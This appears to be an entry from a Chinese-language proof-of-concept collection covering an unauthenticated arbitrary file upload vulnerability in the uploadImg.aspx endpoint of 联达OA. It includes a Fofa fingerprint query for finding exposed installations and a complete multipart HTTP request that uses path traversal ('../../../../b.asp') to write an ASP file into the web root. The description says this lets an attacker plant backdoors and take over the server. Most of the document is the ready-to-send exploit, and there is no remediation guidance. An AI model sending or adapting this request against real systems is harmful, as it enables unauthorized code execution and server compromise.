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40 lines
1.2 KiB
Markdown
40 lines
1.2 KiB
Markdown
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# 联达OA接口uploadImg.aspx任意文件上传漏洞
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联达OA uploadImg.aspx 接口处存在任意文件上传漏洞，未经身份攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。
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## Fofa
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```javascript
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app="联达OA"
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```
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## poc
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```javascript
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POST /Dept_Portal/uploadImg.aspx HTTP/1.1
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Host: your-ip
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
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Content-Type: multipart/form-data; boundary=boundary=00content0boundary00
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Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
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Connection: close
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--00content0boundary00
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Content-Disposition: form-data; name="DesignId"
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1
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--00content0boundary00
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Content-Disposition: form-data; name="Filedata"; filename="../../../../b.asp"
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Content-Type: image/png
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<% Response.Write("Hello, World") %>
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--00content0boundary00--
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```
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```
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/b.asp
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```
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